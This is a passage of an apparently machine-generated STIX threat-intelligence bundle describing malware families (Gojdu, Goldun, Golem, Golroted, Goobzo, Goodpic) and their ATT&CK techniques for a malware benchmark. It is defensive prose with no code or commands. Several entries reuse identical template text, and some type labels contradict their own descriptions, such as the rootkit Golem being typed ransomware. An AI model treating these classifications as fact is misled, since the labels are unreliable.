      "description": "Trojan:Win32/Gojdu is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Gojdu</b><br>To an end-user, a Gojdu infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Gojdu is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Gojdu is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Gojdu frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Gojdu reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Gojdu",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/gojdu"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--23115337-1826-5f13-9c0d-3f23f98deced",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--52902a41-b950-5485-b2a3-ac9d0f917cb6",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gojdu exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--614b0a52-d219-5792-ae9e-a77cddd105ee",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--52902a41-b950-5485-b2a3-ac9d0f917cb6",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gojdu exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a7924b5d-1444-5c68-a8dc-6f7dc27d94f3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--52902a41-b950-5485-b2a3-ac9d0f917cb6",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gojdu exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b40142f2-115c-5626-b1d8-e84431949a10",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--52902a41-b950-5485-b2a3-ac9d0f917cb6",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gojdu exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--529a0df5-a4f3-5f8c-b76b-9451a5734086",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--52902a41-b950-5485-b2a3-ac9d0f917cb6",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gojdu exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--c4c3575b-28e2-55b4-bfd7-b7ac5502e7cd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Gojdue",
      "description": "Trojan:Win32/Gojdue is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Gojdue</b><br>To an end-user, a Gojdue infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Gojdue is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Gojdue is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Gojdue frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Gojdue reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 5)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Gojdue",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/gojdue"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--dc0cfdcf-cd0a-5869-8738-8c462209a79b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c4c3575b-28e2-55b4-bfd7-b7ac5502e7cd",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gojdue exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--967f7939-e237-5671-a2c0-9bcffd73c675",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c4c3575b-28e2-55b4-bfd7-b7ac5502e7cd",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gojdue exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0351179c-f749-5d70-8e14-5376614874cd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c4c3575b-28e2-55b4-bfd7-b7ac5502e7cd",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gojdue exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b0198960-64d0-580b-93fe-b1f9811dba09",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c4c3575b-28e2-55b4-bfd7-b7ac5502e7cd",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gojdue exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bbebfd39-d002-5a3b-9b41-71c5c5326b78",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c4c3575b-28e2-55b4-bfd7-b7ac5502e7cd",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gojdue exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--6de5477c-a6f0-53f8-842c-fbfe9d75b0b6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Goldun",
      "description": "<h3>Executive Summary</h3>\nGoldun is a specialized banking trojan and information stealer designed to compromise user accounts across various financial institutions, e-currency platforms, and cryptocurrency exchanges. Operating primarily as a highly stealthy credential harvester, Goldun prioritizes the theft of login data, two-factor authentication (2FA) tokens, and session cookies to facilitate immediate and unauthorized financial transactions.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nGoldun is typically distributed through targeted spear-phishing campaigns masquerading as financial alerts, or deployed silently by exploit kits hosted on compromised websites. It is also frequently dropped as a secondary payload by other prevalent trojans.\n\nOnce active, Goldun employs precise, financially-motivated data harvesting techniques:\n<ul>\n<li><strong>Man-in-the-Browser (MitB):</strong> Advanced variants of Goldun inject malicious code directly into web browsers (API hooking) to intercept data before it is encrypted via HTTPS. This allows the attacker to capture banking passwords and PINs in plaintext.</li>\n<li><strong>Web Injects:</strong> It can dynamically alter the HTML of legitimate banking websites displayed to the victim, prompting them to enter additional sensitive information (like ATM PINs, Social Security numbers, or answers to security questions) which is then exfiltrated.</li>\n<li><strong>Credential Store Extraction:</strong> The trojan systematically extracts saved passwords, cookies, and session tokens directly from the local credential stores of popular web browsers.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Goldun infection is a critical security incident prioritizing immediate financial fraud. The theft of session cookies and 2FA tokens can allow attackers to bypass standard security measures and drain corporate or personal bank accounts directly.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Immediate Network Isolation:</strong> The highest priority is to isolate the endpoint to halt the active exfiltration of captured credentials and network traffic logs.</li>\n<li><strong>Immediate Financial Notification:</strong> Contact associated financial institutions immediately to freeze accounts and monitor for unauthorized transactions.</li>\n<li><strong>Global Credential Reset:</strong> A mandatory, global reset of all associated credentials (including MFA tokens) is absolutely required.</li>\n<li><strong>Complete Re-imaging:</strong> Due to the deep system hooking required for Man-in-the-Browser attacks, the endpoint must undergo a complete bare-metal wipe and re-image from a trusted baseline.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Goldun",
        "Banker.Goldun",
        "Win32/Spy.Goldun"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Goldun",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/goldun"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c3f40dac-460e-5157-8119-5f79d97c748f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6de5477c-a6f0-53f8-842c-fbfe9d75b0b6",
      "target_ref": "attack-pattern--3de29a73-c5ce-5b4c-82e7-4707471dcabe",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Goldun exhibits technique T1056.004 (Input Capture: Credential API Hooking)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b166fb5a-3f54-5c19-80c8-b5e79bc67b89",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6de5477c-a6f0-53f8-842c-fbfe9d75b0b6",
      "target_ref": "attack-pattern--be3c2ebf-802b-5550-add8-0d33497d4a55",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Goldun exhibits technique T1552.001 (Credentials In Files (Harvesting passwords and wallets from local storage))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5124671a-fe34-5b39-b3fd-a530249e835e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6de5477c-a6f0-53f8-842c-fbfe9d75b0b6",
      "target_ref": "attack-pattern--98e185c4-a84d-5a1b-a879-c69780574fe0",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Goldun exhibits technique T1114 (Email Collection (Harvesting addresses for spamming))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--44a10f46-cd8b-5978-bd03-06a924d9b77c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Golem",
      "description": "<h3>Executive Summary</h3>\nGolem is a sophisticated malicious Trojan and rootkit designed to covertly infiltrate Windows systems, establish deep persistence, and recruit the compromised endpoint into a botnet. Historically, \"Golem\" variants have been utilized by advanced threat actors to facilitate massive Distributed Denial of Service (DDoS) attacks, relay spam, or serve as a persistent backdoor for secondary payload delivery.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nGolem is typically distributed via exploit kits that silently compromise vulnerable web browsers, through massive spear-phishing campaigns, or by brute-forcing weak RDP (Remote Desktop Protocol) credentials.\n\nOnce executed, Golem focuses on stealth and network control:\n<ul>\n<li><strong>Kernel-Level Rootkit:</strong> Advanced variants of Golem utilize kernel-mode drivers (rootkits) to intercept API calls. This allows the malware to completely hide its processes, files, and registry entries from the Windows Task Manager and traditional, user-mode antivirus scanners.</li>\n<li><strong>Botnet Recruitment:</strong> The primary function is to connect the endpoint to a centralized Command and Control (C2) server. The machine then quietly awaits instructions, allowing the attacker to utilize the collective processing power and bandwidth of thousands of infected machines simultaneously.</li>\n<li><strong>Secondary Payloads:</strong> Because Golem establishes a highly secure, hidden backdoor, the botnet operators frequently lease access to the infected machines to other criminal groups, who then utilize the Golem backdoor to deploy ransomware or info-stealers.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Golem detection is a critical security incident. The presence of a rootkit implies that the operating system itself can no longer be trusted to accurately report its own state. The endpoint is actively contributing to malicious activity on the internet and is highly vulnerable to the deployment of secondary, destructive payloads.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Immediate Network Isolation:</strong> The highest priority is to sever the connection to the C2 server by instantly isolating the infected endpoint from the LAN and the internet.</li>\n<li><strong>Memory Forensics and Offline Scanning:</strong> Because the rootkit hides the malware from the running OS, analysis and detection often require memory forensics (e.g., Volatility) or booting the machine from an offline, trusted OS (like a Linux Live USB) to scan the dormant hard drive.</li>\n<li><strong>Complete Re-imaging:</strong> Due to the kernel-level hooks established by the rootkit, attempting to \"clean\" the system is highly unreliable. The endpoint must undergo a complete bare-metal wipe and re-image from a trusted baseline.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Golem",
        "Rootkit.Golem",
        "Botnet.Golem",
        "Win32/Golem"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Golem",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/golem"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--efe93aa4-f50e-5da0-abdb-3c89e4c0651f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--44a10f46-cd8b-5978-bd03-06a924d9b77c",
      "target_ref": "attack-pattern--5b21f3ea-47ac-581f-9305-2d2e0cbe9c22",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Golem exhibits technique T1014 (Rootkit (Hiding files and processes))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b65bd113-694a-5b2e-9703-501b9f7b393f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--44a10f46-cd8b-5978-bd03-06a924d9b77c",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Golem exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3ad2e0f8-c5b7-59d0-826d-80eea0f704cf",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--44a10f46-cd8b-5978-bd03-06a924d9b77c",
      "target_ref": "attack-pattern--811b0131-eca0-5e7e-a296-b88d7ece01bd",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Golem exhibits technique T1543.003 (Create or Modify System Process: Windows Service)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--403bf234-92b3-5a3f-9e10-5c99d85229fd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Golroted",
      "description": "Golroted (classified across antimalware engines under designations including Ransom:Win32/Golroted, Trojan-Ransom.Win32.Golroted, and Win32/Golroted) is a destructive crypto-ransomware family designed to lock enterprise and consumer Windows hosts. Propagated through malvertising redirects, phishing campaigns, and exploit kit droppers, Golroted terminates database processes, email services, and hypervisor components to ensure unhindered file access. It sweeps all available fixed, removable, and mapped network drives, encrypting critical business documents, databases, archives, and spreadsheets using AES-256 encryption wrapped with an asymmetric public key. Golroted executes vssadmin commands to purge Volume Shadow Copies, alters desktop wallpaper to display extortion demands, and deposits text ransom notes demanding cryptocurrency payments. (Observed samples in benchmark: 21)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Golroted",
        "Trojan-Ransom.Win32.Golroted",
        "Win32/Golroted",
        "Ransom.Golroted",
        "Ransom:Win32/Golroted.A"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Golroted",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/golroted"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--dfecddd5-f0c9-5376-ac8a-5eaaa74aaa8d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--403bf234-92b3-5a3f-9e10-5c99d85229fd",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Golroted exhibits technique T1486 (Data Encrypted for Impact)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0b91d386-0da3-56ee-8797-6c93eef0bfce",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--403bf234-92b3-5a3f-9e10-5c99d85229fd",
      "target_ref": "attack-pattern--f2075d7b-16c2-58d2-9cc6-630d2c2ccc49",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Golroted exhibits technique T1490 (Inhibit System Recovery)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--07ebe4f0-f7ef-5f11-87f5-53ea672bd309",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--403bf234-92b3-5a3f-9e10-5c99d85229fd",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Golroted exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3dba92d8-9fec-59dc-96ea-f7d95256c252",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--403bf234-92b3-5a3f-9e10-5c99d85229fd",
      "target_ref": "attack-pattern--36cc183d-43e0-5df7-9059-7bc6b49000e5",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Golroted exhibits technique T1083 (File and Directory Discovery)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f783b9dd-254e-5f43-9373-67d98f89658e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--403bf234-92b3-5a3f-9e10-5c99d85229fd",
      "target_ref": "attack-pattern--2f0c4944-d5ef-5364-9177-53581d27fe40",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Golroted exhibits technique T1070.004 (Indicator Removal: File Deletion)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--e03ea7c2-cadd-5e59-a0e3-8dfc783efd22",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Goobzo",
      "description": "<h3>Executive Summary</h3>\nGoobzo is a widespread family of Adware and Browser Hijackers engineered to aggressively monetize an infected user's web browsing activity. By forcefully altering browser configurations and injecting intrusive advertisements, Goobzo significantly degrades system performance and poses a severe threat to end-user privacy within enterprise environments.\n\n<h3>Distribution and Technical Behavior</h3>\nGoobzo is almost exclusively distributed via deceptive software bundling. It is frequently hidden within \"free\" software installers, PDF converters, or media players downloaded from untrustworthy, third-party software portals.\n\nOnce executed, Goobzo deeply integrates with the operating system and installed web browsers (Google Chrome, Firefox, Edge). Its core behaviors include:\n<ul>\n<li><strong>Browser Hijacking:</strong> Goobzo forcefully alters the browser's default search engine, homepage, and new tab settings. All search traffic is redirected through an affiliate-linked search portal controlled by the adware operators to generate illicit ad revenue.</li>\n<li><strong>Traffic Interception and Injection:</strong> The software frequently installs malicious browser extensions or a local proxy server to intercept unencrypted web traffic, overlaying legitimate websites with pop-ups, pop-unders, and sponsored in-text hyperlinks.</li>\n<li><strong>Data Harvesting:</strong> It continuously tracks the user's browsing history, search queries, and clickstreams, transmitting this telemetry to remote servers to serve highly targeted advertisements.</li>\n</ul>\n\n<h3>Risk Assessment</h3>\nWhile Goobzo does not actively encrypt files or steal credentials like a banking trojan, it introduces massive operational friction. Furthermore, the injected advertisements are frequently served by low-reputation ad networks, dramatically increasing the likelihood of \"malvertising\" attacks that can lead to severe secondary infections.\n\n<h3>Mitigation and Removal Strategies</h3>\n<ul>\n<li><strong>Endpoint Scanning:</strong> Utilize a reputable enterprise-grade anti-malware solution to perform a deep system scan, targeting the Goobzo executables, hidden scheduled tasks, and persistent registry keys used to maintain its hold on the browser.</li>\n<li><strong>Browser Remediation:</strong> Manually inspect and remove any unknown or unauthorized extensions from all installed web browsers. Perform a complete factory reset of the browsers to clear the hijacked proxy and search settings.</li>\n<li><strong>Application Control:</strong> Enforce strict application whitelisting policies to prevent standard users from executing unapproved software installers that are the primary vector for this adware.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware.Goobzo",
        "PUP.Goobzo",
        "BrowserModifier.Goobzo"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Goobzo",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/goobzo"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--eb3ead46-e93e-5f01-b7d5-96188c0dc3a9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e03ea7c2-cadd-5e59-a0e3-8dfc783efd22",
      "target_ref": "attack-pattern--95fcfa9c-4678-5a49-9758-2507908bd03c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Goobzo exhibits technique T1566.002 (Phishing: Spearphishing Link (Social engineering to force the user to download the tool))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5fa16f93-0506-5208-b354-f9b2b70d72a9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e03ea7c2-cadd-5e59-a0e3-8dfc783efd22",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Goobzo exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2ff36ad0-6e50-5fc1-8d91-efda6e6229e5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e03ea7c2-cadd-5e59-a0e3-8dfc783efd22",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Goobzo exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--37c8ce8d-9fbe-50a7-b6f9-5532bcffdf71",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Goodpic",
      "description": "Trojan:Win32/Goodpic is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Goodpic</b><br>To an end-user, a Goodpic infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Goodpic is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Goodpic is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Goodpic frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Goodpic reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Goodpic",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/goodpic"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
